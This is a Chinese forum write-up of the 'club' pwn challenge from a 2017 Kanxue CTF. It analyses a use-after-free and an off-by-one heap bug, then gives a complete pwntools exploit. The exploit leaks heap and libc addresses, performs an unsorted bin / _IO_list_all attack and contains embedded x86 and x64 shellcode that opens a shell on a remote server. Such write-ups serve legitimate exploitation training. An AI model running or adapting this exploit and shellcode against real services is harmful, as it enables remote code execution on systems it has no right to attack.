首页
论坛
课程
招聘
[原创] 看雪ctf 秋季赛 第四题 club_pwn
2017-10-31 17:20 3386

[原创] 看雪ctf 秋季赛 第四题 club_pwn

aqs 活跃值
5
2017-10-31 17:20
3386

拿到程序,先玩一下

❯ checksec club 
[*] '/home/aqs/2-contest/pediy2017/4-club-pwn/club'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

64位程序,除了 relro 其他的保护全开了,那么可能可以写 got
再看看程序有什么功能

Welcome to my club!
====================
You have 6 operation :
1) get a box
2) destory a box
3) leave me a message in box
4) show message in box
5) guess a random number
6) exit

程序提供了 6个功能,测试如下

  • get 获取一个box,有五种box可以选择,创建的时候需要传入一个size
  • destory free 一个box, 传入box 的 index
  • leave message in box , 向box 写数据,有长度限制
  • show message in box ,显示 box 的内容
  • guess 猜测一个随机数,正确返回一个bss 段上的地址
  • exit 输入一个 name , malloc一个chunk

那这就很有可能是道堆题了

漏洞发现

手动fuzz一下, 漏洞发现如下

uaf

总之get一个box 然后 delete 一下看看效果先
操作如下

getbox(2)# smallbox
leave_msg(2,'aaaabbbb')
destory_box(2)
show_msg(2) # 可以正常显示 aaaabbbb,说明有 uaf

off by one

off by one 的验证就构造一个 0x18 0x28 什么大小的size 然后输入一堆字符串就可以看到了.操作如下

get_box(1,0x18)#little box,size 0x18
get_box(2,0x30)#smallbox size 0x30
leave_msg(1,'a'*0x18+'\xff') # try to overwirte size of smallbox

结果如下

0x555555757410: 0x0000000000000000      0x0000000000000021
0x555555757420: 0x0000000000000000      0x0000000000000000
0x555555757430: 0x0000000000000000      0x0000000000000041
0x555555757440: 0x0000000000000000      0x0000000000000000
0x555555757450: 0x0000000000000000      0x0000000000000000
0x555555757460: 0x0000000000000000      0x0000000000000000
0x555555757470: 0x0000000000000000      0x0000000000020b91

overwrite 之后

pwndbg> x/20gx 0x555555757410
0x555555757410: 0x0000000000000000      0x0000000000000021
0x555555757420: 0x6161616161616161      0x6161616161616161
0x555555757430: 0x6161616161616161      0x00000000000000ff
0x555555757440: 0x0000000000000000      0x0000000000000000
0x555555757450: 0x0000000000000000      0x0000000000000000
0x555555757460: 0x0000000000000000      0x0000000000000000
0x555555757470: 0x0000000000000000      0x0000000000020b91

okay ,基本上就是这样了,接下来就看一下代码的逻辑,看看可以怎么样对漏洞进行利用

漏洞利用

首先定一下目标

  • 程序开了 pie,所以需要有地址 leak ,可以是 heap leak ,和 libc leak
  • 需要有一个写地址的能力

main 函数

main 函数首先 将 seed 的地址 作为srand的种子

void main_logic_121A()
{
  unsigned int v0; // [rsp+Ch] [rbp-4h]@2

  *(_QWORD *)&seed = &seed;
  srand((unsigned __int64)&seed);

guess seed

guess seed 很简单,输入的 随机数对了,就把seed的地址给你,因为开启了aslr,加上程序是 x64 的,很难利用伪随机

int guess_1115()
{
  int result; // eax@2
  unsigned int v1; // [rsp+8h] [rbp-8h]@1

  v1 = rand();
  puts("Please input the number you guess:");
  printf("> ");
  if ( v1 == (unsigned int)select_AFA() )
    result = printf("G00dj0b!You get a secret: %ld!\n", *(_QWORD *)&seed);
  else
    result = printf("Wr0ng answer!The number is %d!\n", v1);
  return result;
}

get box 函数

get box 会对输入的 size进行验证, 传入的size需要
0x8=<little < small < normal < big < huge <0x1000
并且创建完之后还会做一个 mark, 也就是说,一个box 只能 get 一次

 

那么每次malloc 返回的chunk的 size 不能相同
fastbin attack 有点难搞,再看看其他的

int get_C29()
{
  ......
  box = select_AFA();
  if ( box <= 0 || box > 5 )
    return puts("It's not a box!");
  if ( mark_arr_202130[box] )
    return puts("You already have the box!");
  if ( !size_arr_202090[box] )
  {
    puts("Input the size you want to get:");
    printf("> ");
    size = select_AFA();
    if ( (signed int)min_B95(box) > size || (signed int)max_BDF(box) < size )// 0x18   0xff0
      return puts("the size is invalid!");
    size_arr_202090[box] = size;
  }
  buf_arr_202100[box] = (const char *)malloc((signed int)size_arr_202090[box]);
  mark_arr_202130[box] = 1;                     // flag
  return puts("You have got the box!");
}
.data:0000000000202090 ; _DWORD size_arr_202090[8]
.data:0000000000202090 size_arr_202090 dd 8, 5 dup(0),1000h, 0 ; DATA XREF: min_B95+20o
.data:0000000000202090

show 没什么,只是将 buf 输出

leave msg 向 buf 写入数据, 有 off by one

destory box

destory box 实现定义好了,只有 small 和normal box 可以进行 destory, 其他的只能 get,不能 destory

int destroy_DDB()
{
  ........
  option = select_AFA();
  if ( option <= 0 || option > 5 )
    return puts("It's not a box!");
  if ( !mark_arr_202130[option] || dword_2020B0[option] )
    return puts("You can not destroy the box!");
  free((void *)buf_arr_202100[option]);
  return puts("You have destroyed the box!");
}
.data:00000000002020B0 dword_2020B0    dd 2 dup(1), 2 dup(0), 2 dup(1)
.data:00000000002020B0                                         ; DATA XREF: destroy_DDB+B7o
.data:00000000002020B0 _data           ends

exit 函数

exit函数 要求输入一个 字符串, 然后 malloc strcpy一下,没有溢出

int exit_1194()
{
  char *dest; // ST08_8@1
                                                // ??
  puts("What's your name?");
  printf("> ");
  fflush(stdout);
  read(0, src, 0x10uLL);
  dest = (char *)malloc(0x20uLL);
  strcpy(dest, src);
  return printf("Thanks for your coming, %s\n", dest);
}

okay 程序分析基本上就是到了这里了,接下来就是怎么样进行利用的问题
具体操作如下

leak 地址

getbox(2,0x28) # size 0x41
getbox(3,0xe0) # size 0xf1
getbox(4,0x100)
leave_msg(2,'a'*0x28+'\x41') #将 box_3 的size 改成和 box_2 一样
leave_msg(3,fake_chunk) # 防止崩溃
destory(3)
destory(2) # box_2  box_3 是同样size 的fastbin ,这里box2 show一下可以 leak heap 地址
show(2)
leave_msg(2,'a'*0x28+'\xf1') #将 box_3 的size 改回来

destory(3) # double free 

show(3) # 此时 box_3 是 unsorted bin ,可以leak libc 地址

okay 现在地址什么都是有的了,问题就是要怎么控制程序执行流了,这里使用的是 unsorted bin attack 的办法

unsorted bin attack 控制执行流

因为 上面 leak 的时候已经得到了一个 unsorted bin,所以直接用这个 来搞事情,因为 libc版本是 2.23, 所以按照常规 unsorted bin attack 的思路构造 exp 即可getshell, 基本操作如下

leave_msg(2,'a'*0x20+'/bin/sh\x00'+'\x61')
leave_msg(3,
        0xdeadbeef+_IO_list_all-0x10
       +'\x00'*0x90
       + somewhere_addr
       +'\x00'*0xd0
       + 1
       + somewhere
       + 0 + 0
       + fake_io_jmp_addr)

leave_msg(4,0x10*(system_addr))

# fake 的东西都构造好之后,接下来只要malloc 一下就可以getshell了,这里
getbox(5,0x200)
# get shell

exp 如下

因为这里 exp 是写了一个 模板来进行生成的,平时方便查看, 所以会有一些冗余信息,自动忽略啦

#!/usr/bin/env python
#coding:utf-8
from pwn import *
import time
shellcode_x86="\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

shellcode_x64="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

shellcode_x85_ascii="PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA"
#nasm -f bin -o shell32 shell32.asm
# x64函数前6个参数依次保存在rdi、rsi、rdx、rcx、r8和r9
#context(os='linux', arch='amd64', log_level='debug')
#shellcode = asm(shellcraft.sh())
#context.terminal = ['tmux', 'splitw', '-v']
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#frame = SigreturnFrame()
#fmt    payload+="%{}c%1$hhn".format(str(0x100-0xfe+ord(one_gadget[i])))
local=0
debug=1

filename="./club"
libc="./libc.so.6"
ip="123.206.22.95"
port=8888
is_libc=1
is_ip=1
is_port=1

binary=ELF(filename)

if(is_libc==1):
    libc_elf=ELF(libc)
        sys_offset=libc_elf.symbols['system']

if 1==local:
    if is_libc==1:
        # p=process(filename)
                p=process(argv=[filename,],env={"LD_PRELOAD":"./libc.so.6"})
    else:
        p=process(filename)

else:
    if -1==is_port:
        p=remote("",10000)
    else:
        p=remote(ip,port)


def get_box(box,size):
    p.recvuntil('> ')
    p.sendline('1')
    p.recvuntil('> ')
    p.sendline(str(box))
    p.recvuntil('> ')
    p.sendline(str(size))
    pass

def destory_box(box):
    p.recvuntil('> ')
    p.sendline('2')
    p.recvuntil('> ')
    p.sendline(str(box))
    pass

def leave_msg(box,msg):
    p.recvuntil('> ')
    # print p.recv()
    p.sendline('3')
    p.recvuntil('> ')
    p.sendline(str(box))
    # time.sleep(0.1)
    p.sendline(msg)

    pass

def show_msg(box):
    p.recvuntil('> ')
    p.sendline('4')
    p.recvuntil('> ')
    p.sendline(str(box))
    pass

def guess(number):
    # get seed addr
    p.recvuntil('> ')
    p.sendline('5')
    p.recvuntil('> ')
    p.sendline(str(number))
    pass


def exit_box(name):
    p.recvuntil('> ')
    p.sendline('6')
    p.recvuntil('> ')
    p.sendline(name)
    pass


get_box(2,0x28)
get_box(3,0xe0)
get_box(4,0x100)


# leak heap
leave_msg(2,'a'*0x28+'\x31')
print p.recvuntil("> It's not a operation!")
leave_msg(3,p64(0)*4+p64(0)+p64(0xf1-0x30))


destory_box(3)
destory_box(2)
show_msg(2)

heap_base=u64(p.recv(8))&0xffffffffffff

p.info(hex(heap_base))

leave_msg(2,'a'*0x20+p64(0)+'\xf1')
print p.recvuntil("> It's not a operation!")


destory_box(3)

show_msg(3)

#leak libc

libc_addr=u64(p.recv(8))&0xffffffffffff
libc_base=libc_addr-0x3c4b78
io_list_all=libc_base+0x00000000003c5520
system_addr=libc_base+0x0000000000045390
p.info(hex(libc_base))

#unsorted bin attack`
leave_msg(2,'a'*0x20+"/bin/sh\x00"+'\x61')
print p.recvuntil("> It's not a operation!")

payload=p64(0xdeadbeef)
payload+=p64(io_list_all-0x10)
payload = payload.ljust(0xa0-0x10,"\x00")
payload += p64(heap_base+0xd0)
payload = payload.ljust(0xc0-0x10,"\x00")
payload += p64(1)
payload += p64(0)
payload += p64(0)
payload += p64(heap_base+0x100)

leave_msg(3,payload)
leave_msg(4,5*p64(system_addr))

get_box(5,0x200)
p.interactive()

[培训]12月3日2020京麒网络安全大会《物联网安全攻防实战》训练营,正在火热报名中!地点:北京 · 新云南皇冠假日酒店

收藏
点赞0
打赏
分享
最新回复 (3)
雪    币: 148
活跃值: 活跃值 (384)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
netwind 活跃值 13 2017-10-31 22:29
2
0
分析的不错  精华鼓励!
雪    币: 1001
活跃值: 活跃值 (98)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
陈jack 活跃值 2018-7-22 22:54
3
0
写的很好!
雪    币: 379
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dancekiller 活跃值 2018-9-14 10:54
4
0
学习了
游客
登录 | 注册 方可回帖
返回